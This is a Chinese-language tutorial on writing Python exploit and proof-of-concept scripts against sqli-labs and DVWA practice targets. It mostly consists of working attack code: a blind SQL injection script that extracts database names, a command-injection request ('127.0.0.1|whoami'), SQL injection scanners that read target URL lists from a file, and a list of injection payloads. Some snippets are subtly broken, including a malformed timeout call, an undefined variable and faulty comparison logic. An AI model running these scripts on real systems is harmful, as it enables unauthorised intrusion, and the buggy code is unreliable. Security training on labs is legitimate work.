python编写EXP/POC速成小记

Part1基本概念


0x01:概念

漏洞刚被批漏之后,有时候现有的工具里面是没有相应的EXP的,那我们可以根据原理写出对应的EXP代码,验证漏洞是否存在。

在信息安全里,POC为漏洞验证程序,功能为检测漏洞是否存在。POC和EXP(全称Exploit)的区别就是,POC是漏洞验证程序,EXP是漏洞利用程序。针对通用型漏洞编写EXP,可以使漏洞测试大大加快速度,可以在漏洞发现时批量检测资产漏洞情况。

作用:用于漏洞利用,更加高效的漏洞利用,而不是手工测试,节省时间。

Part2思维导图


0x02:思维导图

EXP与POC编写情况很多,所以了解漏洞原理以后,根据实际情况去编写EXP与POC

0x001:EXP

深入了解漏洞原理 创建发起攻击的Payload 发起攻击请求 判断是否攻击成功

0x002:POC

理解漏洞产生的原理

创建发起验证漏洞是否存在的流程代码

发起漏洞验证请求

输出验证是否存在此漏洞

Part3环境准备


0x03:环境准备

python2.x&python3.x

库:requests,string

Part4代码编写


0x04:代码编写(SQLI靶场篇)

0x001:获取网页内容

#coding=utf-8    声明代码格式为utf-8类型

import requests    导入python库

res=requests.get("http://www.baidu.com/index.html")    定义res为变量=用来接收百度提交一个get类型的请求的返回数据

print(res.content.decode("utf-8"))      将res变量的内容使用utf-8格式解码后打印输出(content是下载图片、视频使用效果好)

print(res.text)      将res变量以文本形式打印输出

print(res.headers)    将res变量中的网址头部信息获取打印输出

print(res.url)      将res变量中的url地址获取打印输出

0x002:修改UA头信息


url = "http://www.baidu.com"    定义url
header = {"User-Agent":"foxfox"}    定义UA头信息
res = requests.get(url,headers=header)    定义res变量=将定义的url按照自定义的UA头接收使用GET传参方式进行请求的返回数据
print(res.request.headers)      将res变量修改UA头信息的请求打印输出

0x003:网页在一定时间内超时处理的写法

(try语句后必须有exception或finally语句二者其一)

url = "https://www.baidu.com/index.html"    定义url
try:                    捕获异常内容
    res = requests.get((url,timeout==3))    定义res变量=将url以get类型发送请求,延时等于3秒
    print(res.request)            将res变量的请求打印输出
except Exception as e:  或者except:            捕获所有异常(当前类和所有子类)(如果涉及到第三方库,则会直接抛出错误提示)
    print("超时")

注:如果异常不处理,则会向上一层,即调用者抛出,直到解释器。所以可以在发生处到解释器途中进行捕获处理,所以在哪个位置进行处理也是一个问题。

0x004:提交GET类型数据

url = "https://so.csdn.net/so/search?spm=1000.2115.3001.4498&"    定义url
data = {"q":"666"}                    定义data函数提交(q=666)
res = requests.get(url,params=data)        定义res变量=将url与data函数里的字段按get类型发送请求
print(res.url)          将res变量与url拼接后打印输出

0x005:提交POST类型数据

注:res.content.decode一起使用;res.text.encode一起使用;不然会出现报错不适用


url = "https://www.baidu.com"        定义url
datas = {"fox":"666"}          定义datas变量提交data函数内容(fox=666)
res = requests.post(url,data=datas)    定义res变量=将url与datas函数里的字段按POST类型发送请求
print(res.content.decode("utf-8"))    将res变量的内容使用utf-8格式解码后打印输出

0x006:上传文件


url = "http://123.57.54.40/vulnerabilities/upload/"      定义url
upfile = {"uploaded":open("D:/b.txt","rb")}          定义upfile变量=将D盘下的b.txt文件按照只读方式打开
# datas = {"submit":"submit"}        定义datas变量提交data内容submit=submit
res = requests.post(url,files=upfile)    定义res变量=将upfile变量中的文件在url中使用POST类型请求
print(res.content.decode("utf-8"))      将res变量的结果用content(下载图片,视频等方式)使用utf-8格式解码后打印输出

0x007:获取数据库长度

url = "http://**********/sqlilabs/Less-8/?id="
reslen = len(requests.get(url=url+"1").text)
print("正常返回网页数据长度为:" + str(reslen))
dblen = 1
while True:
    dburl = url + "1' + and + (length(database())) = " + str(dblen) + "--+"
    print(dburl)
    if len(requests.get(dburl).text)==reslen:
        print("库名长度为:" + str(dblen))
        break
    if dblen==30:
        print("错误")
        break
    dblen = dblen + 1

0x008:获取数据库名

注:导入新的库(import string)


url = "http://**********/sqlilabs/Less-8/"
reslen = len(requests.get(url=url+"?id=1").text)
print("返回数据长度为:"+str(reslen))
dblen = 0
while True:
    dburl = url + "?id=1'+and+(length(database()))="+str(dblen)+"--+"
    print(dburl)
    if len(requests.get(dburl).text)==reslen:
        print("库名长度为:"+str(dblen))
        break
    if dblen==30:
        print("错误")
        break
    dblen += 1
    dbnmae=""
for i in range(1,9):
    for a in string.ascii_lowercase:
        dburl = url+"?id=1'+and+substr(database()," + str(i) + ",1)=" + "'" + a + "'" + "--+"
        print(dburl)
        if len(requests.get(dburl).text)==reslen:
            dbnmae += a
            print(dbnmae)
            break

至此编写完成。

0x05:代码编写(DVWA靶场篇)

0x001:命令执行脚本编写

注:需要导入requests和bs4两个库

fotmat作为Python的的格式字符串函数,主要通过字符串中的花括号{},来识别替换字段,从而完成字符串的格式化。

status_code:状态码

BeautifulSoup4将复杂HTML文档转换成一个复杂的树形结构,每个节点都是Python对象。

find() 方法检测字符串中是否包含子字符串 str ,如果指定 beg(开始) 和 end(结束) 范围,则检查是否包含在指定范围内,如果包含子字符串返回开始的索引值,否则返回-1。

url = "http://*********/vulnerabilities/exec/"
headers = {"Cookie": "PHPSESSID=fr78ma9ug********6shqp1; security=low"}
data = {"ip": "127.0.0.1|whoami", "Submit":"Submit"}


# 禁止跳转 allow_redirects = False
res = requests.post(url=url, data=data, allow_redirects=False, headers=headers)
print("结果:{}".format(res.text))
print("状态码: {}    正常访问".format(res.status_code))


if response.status_code == 200:
    soup = bs4.BeautifulSoup(res.text, 'lxml')
    pre = soup.find("pre")
    print("结果为:{}".format(pre.text))

0x002:单一站点的基础SQL扫描脚本

用 def 语句创建函数时,可以用 return 语句指定应该返回的值,该返回值可以是任意类型。需要注意的是,return 语句在同一函数中可以出现多次,但只要有一个得到执行,就会直接结束函数的执行。

该函数len()是 Python 的内置函数之一。它返回对象的长度。

if name=="name",这是一个条件判断语句,如果条件满足,就进入下面的语句。简单来说,该语句用来当文件当作脚本运行时候,就执行代码;但是当文件被当做Module被import的时候,就不执行相关代码。也就是说如果你需要把代码放在一个文件中,在if name == "name”里面放的代码,就只有在该文件被当作脚本文件执行的时候才会起作用。

def poc(url):
    result_rep = requests.get(url)
    return len(result_rep.text)


if __name__ == "__main__":
    header = {
        "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36"}
    url = "http://********/sqli-labs/Less-8/?id=1"

    result_lens = []  # 创建空列表用于比对后面and判断的返回包长度
    rep = requests.get(url, headers=header)
    normal_len = len(rep.text)    #正常请求,也就是if判断正确时应该返回的数据包长度
    payloads = ["'%20and%201=1%23", "'%20and%201=2%23"]  # 通过单引号and 1=2来验证,用Url编码了空格
    for payload in payloads:
        result_len = poc(url + payload)  #发包
        result_lens.append(result_len)  # append()函数用于在列表末尾添加新的对象。
    if result_lens[0] == normal_len & normal_len != result_lens[1]:      #表示and 1=1是正确返回包的长度,而and 1=2是错误的返回包长度,也就是说单引号后的内容被mysql正确的执行
        print("存在sql注入")

0x003:多站点的基础SQL扫描脚本

def poc(url):
    result_rep = requests.get(url)
    return len(result_rep.text)

def run(url):
    result_lens = []
    rep = requests.get(url, headers=header)
    normal_len = len(rep.text)
    payloads = ["'%20and%201=1%23", "'%20and%201=2%23"]
    for payload in payloads:
        result_len = poc(url + payload)
        result_lens.append(result_len)

    if result_lens[0] == normal_len & normal_len != result_lens[1]:
        print("存在sql注入")
    else:
        print(url+"路径不正确或不存在漏洞")

if __name__ == "__main__":
    header = {
        "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36"}
    urls = open("123.txt", 'r').readlines()
    for url in urls:
        run(url)

0x004:时间盲注扫描脚本

def poc(url):
    # if result_rep = requests.get(url):
    result_rep = requests.get(url)
    return len(result_rep.text)

def run(url):
    result_lens = []
    rep = requests.get(url, headers=header)
    normal_len = len(rep.text)
    payloads = ["'%20and%201=1%23", "'%20and%201=2%23"]

    for payload in payloads:
        result_len = poc(url + payload)
        result_lens.append(result_len)

    if result_lens[0] == normal_len & normal_len != result_lens[1]:
        print("n存在sql注入n")
    elif result_lens[0] == normal_len & normal_len == result_lens[1]:
        try:
            result_rep = requests.get(url, timeout=3)
            print("不存在延时注入或者web链接不对")
        except Exception as e:
            return "timeout"  # 如果sleep了,就存在sql注入漏洞
        print(url + "路径不正确或不存在漏洞")
    else:

        try:
            result_rep = requests.get(url, timeout=3)
            print("no sql injection")
        except Exception as e:
            return "timeout"  # 如果sleep了,就存在sql注入漏洞

if __name__ == "__main__":
    header = {
        "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36"}
    urls = open("123.txt", 'r').readlines()      # 导入123.txt文件中的url
    for url in urls:
        run(url)

Part5补充


0x005:补充

上述脚本存在误报,就是payload只有一个单引号闭合,没办法检验数字型sql,双引号型,’)型,’))等在payload中多加几个类型,可以直接导入自己的FUZZ字典

payloads = ["'%20and%201=1%23", "'%20and%201=2%23", "'%20and%20sleep(2)%23", ""%20and%20sleep(2)%23",
                "%20and%20sleep(2)%23", "')%20and%20sleep(2)%23",
                "'))%20and%20sleep(2)%23", ""or%201=1--", "'or%201=1--", "d'or'%201=1--", ]

会触发payloads里面的sleep延时注入